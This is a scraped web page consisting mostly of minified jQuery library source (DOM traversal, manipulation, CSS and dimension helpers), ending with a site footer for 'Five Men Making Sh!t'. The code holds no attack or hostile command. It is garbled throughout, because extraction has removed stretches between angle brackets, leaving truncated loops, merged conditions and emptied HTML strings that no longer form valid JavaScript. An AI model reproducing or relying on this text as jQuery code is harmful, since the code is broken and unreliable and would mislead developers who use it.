c(n,null,null,[e]).length>0}}}(),function(){var e=n.createElement("div");e.innerHTML="
";if(!e.getElementsByClassName||e.getElementsByClassName("e").length===0)return;e.lastChild.className="e";if(e.getElementsByClassName("e").length===1)return;h.order.splice(1,0,"CLASS"),h.find.CLASS=function(e,t,n){if(typeof t.getElementsByClassName!="undefined"&&!n)return t.getElementsByClassName(e[1])},e=null}(),n.documentElement.contains?c.contains=function(e,t){return e!==t&&(e.contains?e.contains(t):!0)}:n.documentElement.compareDocumentPosition?c.contains=function(e,t){return!!(e.compareDocumentPosition(t)&16)}:c.contains=function(){return!1},c.isXML=function(e){var t=(e?e.ownerDocument||e:0).documentElement;return t?t.nodeName!=="HTML":!1};var L=function(e,t){var n,r=[],i="",s=t.nodeType?[t]:t;while(n=h.match.PSEUDO.exec(e))i+=n[0],e=e.replace(h.match.PSEUDO,"");e=h.relative[e]?e+"*":e;for(var o=0,u=s.length;o0)for(u=o;u0:this.filter(e).length>0)},closest:function(e,t){var n=[],r,i,o=this[0];if(s.isArray(e)){var u,a,f={},l=1;if(o&&e.length){for(r=0,i=e.length;r-1:s(o).is(u))&&n.push({selector:a,elem:o,level:l});o=o.parentNode,l++}}return n}var c=W.test(e)||typeof e!="string"?s(e,t||this.context):0;for(r=0,i=this.length;r-1:s.find.matchesSelector(o,e)){n.push(o);break}o=o.parentNode;if(!o||!o.ownerDocument||o===t||o.nodeType===11)break}}return n=n.length>1?s.unique(n):n,this.pushStack(n,"closest",e)},index:function(e){return e?typeof e=="string"?s.inArray(this[0],s(e)):s.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.prevAll().length:-1},add:function(e,t){var n=typeof e=="string"?s(e,t):s.makeArray(e&&e.nodeType?[e]:e),r=s.merge(this.get(),n);return this.pushStack(V(n[0])||V(r[0])?r:s.unique(r))},andSelf:function(){return this.add(this.prevObject)}}),s.each({parent:function(e){var t=e.parentNode;return t&&t.nodeType!==11?t:null},parents:function(e){return s.dir(e,"parentNode")},parentsUntil:function(e,t,n){return s.dir(e,"parentNode",n)},next:function(e){return s.nth(e,2,"nextSibling")},prev:function(e){return s.nth(e,2,"previousSibling")},nextAll:function(e){return s.dir(e,"nextSibling")},prevAll:function(e){return s.dir(e,"previousSibling")},nextUntil:function(e,t,n){return s.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return s.dir(e,"previousSibling",n)},siblings:function(e){return s.sibling(e.parentNode.firstChild,e)},children:function(e){return s.sibling(e.firstChild)},contents:function(e){return s.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:s.makeArray(e.childNodes)}},function(e,t){s.fn[e]=function(n,r){var i=s.map(this,t,n),o=z.call(arguments);return I.test(e)||(r=n),r&&typeof r=="string"&&(i=s.filter(r,i)),i=this.length>1&&!X[e]?s.unique(i):i,(this.length>1||R.test(r))&&q.test(e)&&(i=i.reverse()),this.pushStack(i,e,o.join(","))}}),s.extend({filter:function(e,t,n){return n&&(e=":not("+e+")"),t.length===1?s.find.matchesSelector(t[0],e)?[t[0]]:[]:s.find.matches(e,t)},dir:function(e,n,r){var i=[],o=e[n];while(o&&o.nodeType!==9&&(r===t||o.nodeType!==1||!s(o).is(r)))o.nodeType===1&&i.push(o),o=o[n];return i},nth:function(e,t,n,r){t=t||1;var i=0;for(;e;e=e[n])if(e.nodeType===1&&++i===t)break;return e},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)e.nodeType===1&&e!==t&&n.push(e);return n}});var J=/ jQuery\d+="(?:\d+|null)"/g,K=/^\s+/,Q=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,G=/<([\w:]+)/,Y=/",""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]};it.optgroup=it.option,it.tbody=it.tfoot=it.colgroup=it.caption=it.thead,it.th=it.td,s.support.htmlSerialize||(it._default=[1,"div
","
"]),s.fn.extend({text:function(e){return s.isFunction(e)?this.each(function(t){var n=s(this);n.text(e.call(this,t,n.text()))}):typeof e!="object"&&e!==t?this.empty().append((this[0]&&this[0].ownerDocument||n).createTextNode(e)):s.text(this)},wrapAll:function(e){if(s.isFunction(e))return this.each(function(t){s(this).wrapAll(e.call(this,t))});if(this[0]){var t=s(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&e.firstChild.nodeType===1)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return s.isFunction(e)?this.each(function(t){s(this).wrapInner(e.call(this,t))}):this.each(function(){var t=s(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){return this.each(function(){s(this).wrapAll(e)})},unwrap:function(){return this.parent().each(function(){s.nodeName(this,"body")||s(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(e){this.nodeType===1&&this.appendChild(e)})},prepend:function(){return this.domManip(arguments,!0,function(e){this.nodeType===1&&this.insertBefore(e,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this)});if(arguments.length){var e=s(arguments[0]);return e.push.apply(e,this.toArray()),this.pushStack(e,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this.nextSibling)});if(arguments.length){var e=this.pushStack(this,"after",arguments);return e.push.apply(e,s(arguments[0]).toArray()),e}},remove:function(e,t){for(var n=0,r;(r=this[n])!=null;n++)if(!e||s.filter(e,[r]).length)!t&&r.nodeType===1&&(s.cleanData(r.getElementsByTagName("*")),s.cleanData([r])),r.parentNode&&r.parentNode.removeChild(r);return this},empty:function(){for(var e=0,t;(t=this[e])!=null;e++){t.nodeType===1&&s.cleanData(t.getElementsByTagName("*"));while(t.firstChild)t.removeChild(t.firstChild)}return this},clone:function(e,t){return e=e==null?!1:e,t=t==null?e:t,this.map(function(){return s.clone(this,e,t)})},html:function(e){if(e===t)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(J,""):null;if(typeof e=="string"&&!et.test(e)&&(s.support.leadingWhitespace||!K.test(e))&&!it[(G.exec(e)||["",""])[1].toLowerCase()]){e=e.replace(Q,"<$1>$2>");try{for(var n=0,r=this.length;n1&&c

0?this.clone(!0):this).get();s(i[u])[t](f),r=r.concat(f)}return this.pushStack(r,e,i.selector)}}),s.extend({clone:function(e,t,n){var r=e.cloneNode(!0),i,o,u;if((!s.support.noCloneEvent||!s.support.noCloneChecked)&&(e.nodeType===1||e.nodeType===11)&&!s.isXMLDoc(e)){ut(e,r),i=at(e),o=at(r);for(u=0;i[u];++u)o[u]&&ut(i[u],o[u])}if(t){ot(e,r);if(n){i=at(e),o=at(r);for(u=0;i[u];++u)ot(i[u],o[u])}}return i=o=null,r},clean:function(e,t,r,i){var o;t=t||n,typeof t.createElement=="undefined"&&(t=t.ownerDocument||t[0]&&t[0].ownerDocument||n);var u=[],a;for(var f=0,l;(l=e[f])!=null;f++){typeof l=="number"&&(l+="");if(!l)continue;if(typeof l=="string")if(!Z.test(l))l=t.createTextNode(l);else{l=l.replace(Q,"<$1>$2>");var c=(G.exec(l)||["",""])[1].toLowerCase(),h=it[c]||it._default,p=h[0],d=t.createElement("div");d.innerHTML=h[1]+l+h[2];while(p--)d=d.lastChild;if(!s.support.tbody){var v=Y.test(l),m=c==="table"&&!v?d.firstChild&&d.firstChild.childNodes:h[1]==="

"&&!v?d.childNodes:[];for(a=m.length-1;a>=0;--a)s.nodeName(m[a],"tbody")&&!m[a].childNodes.length&&m[a].parentNode.removeChild(m[a])}!s.support.leadingWhitespace&&K.test(l)&&d.insertBefore(t.createTextNode(K.exec(l)[0]),d.firstChild),l=d.childNodes}var g;if(!s.support.appendChecked)if(l[0]&&typeof (g=l.length)=="number")for(a=0;a=0)return t+"px"}}}),s.support.opacity||(s.cssHooks.opacity={get:function(e,t){return pt.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?parseFloat(RegExp.$1)/100+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=s.isNaN(t)?"":"alpha(opacity="+t*100+")",o=r&&r.filter||n.filter||"";n.zoom=1;if(t>=1&&s.trim(o.replace(ht,""))===""){n.removeAttribute("filter");if(r&&!r.filter)return}n.filter=ht.test(o)?o.replace(ht,i):o+" "+i}}),s(function(){s.support.reliableMarginRight||(s.cssHooks.marginRight={get:function(e,t){var n;return s.swap(e,{display:"inline-block"},function(){t?n=Et(e,"margin-right","marginRight"):n=e.style.marginRight}),n}})}),n.defaultView&&n.defaultView.getComputedStyle&&(St=function(e,n){var r,i,o;n=n.replace(dt,"-$1").toLowerCase();if(!(i=e.ownerDocument.defaultView))return t;if(o=i.getComputedStyle(e,null))r=o.getPropertyValue(n),r===""&&!s.contains(e.ownerDocument.documentElement,e)&&(r=s.style(e,n));return r}),n.documentElement.currentStyle&&(xt=function(e,t){var n,r=e.currentStyle&&e.currentStyle[t],i=e.runtimeStyle&&e.runtimeStyle[t],s=e.style;return!vt.test(r)&&mt.test(r)&&(n=s.left,i&&(e.runtimeStyle.left=e.currentStyle.left),s.left=t==="fontSize"?"1em":r||0,r=s.pixelLeft+"px",s.left=n,i&&(e.runtimeStyle.left=i)),r===""?"auto":r}),Et=St||xt,s.expr&&s.expr.filters&&(s.expr.filters.hidden=function(e){var t=e.offsetWidth,n=e.offsetHeight;return t===0&&n===0||!s.support.reliableHiddenOffsets&&(e.style.display||s.css(e,"display"))==="none"},s.expr.filters.visible=function(e){return!s.expr.filters.hidden(e)});var Nt=/%20/g,Ct=/\[\]$/,kt=/\r?\n/g,Lt=/#.*$/,At=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,Ot=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,Mt=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,_t=/^(?:GET|HEAD)$/,Dt=/^\/\//,Pt=/\?/,Ht=/
";s.extend(t.style,{position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"}),t.innerHTML=f,e.insertBefore(t,e.firstChild),r=t.firstChild,i=r.firstChild,u=r.nextSibling.firstChild.firstChild,this.doesNotAddBorder=i.offsetTop!==5,this.doesAddBorderForTableAndCells=u.offsetTop===5,i.style.position="fixed",i.style.top="20px",this.supportsFixedPosition=i.offsetTop===20||i.offsetTop===15,i.style.position=i.style.top="",r.style.overflow="hidden",r.style.position="relative",this.subtractsBorderForOverflowNotVisible=i.offsetTop===-5,this.doesNotIncludeMarginInBodyOffset=e.offsetTop!==a,e.removeChild(t),s.offset.initialize=s.noop},bodyOffset:function(e){var t=e.offsetTop,n=e.offsetLeft;return s.offset.initialize(),s.offset.doesNotIncludeMarginInBodyOffset&&(t+=parseFloat(s.css(e,"marginTop"))||0,n+=parseFloat(s.css(e,"marginLeft"))||0),{top:t,left:n}},setOffset:function(e,t,n){var r=s.css(e,"position");r==="static"&&(e.style.position="relative");var i=s(e),o=i.offset(),u=s.css(e,"top"),a=s.css(e,"left"),f=(r==="absolute"||r==="fixed")&&s.inArray("auto",[u,a])>-1,l={},c={},h,p;f?(c=i.position(),h=c.top,p=c.left):(h=parseFloat(u)||0,p=parseFloat(a)||0),s.isFunction(t)&&(t=t.call(e,n,o)),t.top!=null&&(l.top=t.top-o.top+h),t.left!=null&&(l.left=t.left-o.left+p),"using"in t?t.using.call(e,l):i.css(l)}},s.fn.extend({position:function(){if(!this[0])return null;var e=this[0],t=this.offsetParent(),n=this.offset(),r=wn.test(t[0].nodeName)?{top:0,left:0}:t.offset();return n.top-=parseFloat(s.css(e,"marginTop"))||0,n.left-=parseFloat(s.css(e,"marginLeft"))||0,r.top+=parseFloat(s.css(t[0],"borderTopWidth"))||0,r.left+=parseFloat(s.css(t[0],"borderLeftWidth"))||0,{top:n.top-r.top,left:n.left-r.left}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||n.body;while(e&&!wn.test(e.nodeName)&&s.css(e,"position")==="static")e=e.offsetParent;return e})}}),s.each(["Left","Top"],function(e,n){var r="scroll"+n;s.fn[r]=function(n){var i,o;return n===t?(i=this[0],i?(o=En(i),o?"pageXOffset"in o?o[e?"pageYOffset":"pageXOffset"]:s.support.boxModel&&o.document.documentElement[r]||o.document.body[r]:i[r]):null):this.each(function(){o=En(this),o?o.scrollTo(e?s(o).scrollLeft():n,e?n:s(o).scrollTop()):this[r]=n})}}),s.each(["Height","Width"],function(e,n){var r=n.toLowerCase();s.fn["inner"+n]=function(){var e=this[0];return e&&e.style?parseFloat(s.css(e,r,"padding")):null},s.fn["outer"+n]=function(e){var t=this[0];return t&&t.style?parseFloat(s.css(t,r,e?"margin":"border")):null},s.fn[r]=function(e){var i=this[0];if(!i)return e==null?null:this;if(s.isFunction(e))return this.each(function(t){var n=s(this);n[r](e.call(this,t,n[r]()))});if(s.isWindow(i)){var o=i.document.documentElement["client"+n],u=i.document.body;return i.document.compatMode==="CSS1Compat"&&o||u&&u["client"+n]||o}if(i.nodeType===9)return Math.max(i.documentElement["client"+n],i.body["scroll"+n],i.documentElement["scroll"+n],i.body["offset"+n],i.documentElement["offset"+n]);if(e===t){var a=s.css(i,r),f=parseFloat(a);return s.isNaN(f)?a:f}return this.css(r,typeof e=="string"?e:e+"px")}}),e.jQuery=e.$=s})(window); .

© 2015 Five Men Making Sh!t, All Rights Reserved.

Back to top